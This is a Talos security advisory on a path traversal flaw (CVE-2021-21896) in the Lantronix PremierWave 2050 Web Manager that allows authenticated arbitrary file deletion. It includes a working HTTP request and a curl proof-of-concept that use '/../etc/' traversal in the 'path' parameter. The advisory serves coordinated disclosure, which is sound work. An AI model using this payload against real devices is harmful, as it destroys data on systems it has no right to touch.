Talos Vulnerability Report

TALOS-2021-1338

Lantronix PremierWave 2050 Web Manager FsBrowseClean directory traversal vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21896

Summary

A directory traversal vulnerability exists in the Web Manager FsBrowseClean functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to arbitrary file deletion. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager allows an authenticated and properly authorized user to delete files and directories contained within a subdirectory of the device’s filesystem, rooted at `/ltrx_user/`. The system attempts to limit the user from interacting with files and directories located outside of the `/ltrx_user/` directory by sanitizing some, but not all, of the attacker-controlled HTTP Post parmeters. This feature is only accessible to users with the `filesystem` privilege.

An attacker-controlled HTTP parameter - `path` - can be altered to include path traversal primitives which will not be sanitized before composition of the final file path and allows the attacker to delete arbitrary files and directories on the system.

The below request will delete an arbitrary file, created only for testing purposes.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 65
Authorization: Basic YWRtaW46UEFTUw==
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsBrowseClean&dir=%2F&path=/../etc/delme.poc&action=deletefile
```

Exploit Proof of Concept

```
   curl --user admin:PASS -d "ajax=FsBrowseClean&dir=/&path=/../etc/delme.poc&action=deletefile
```

Timeline

2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date
2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1337

NEXT REPORT

TALOS-2021-1334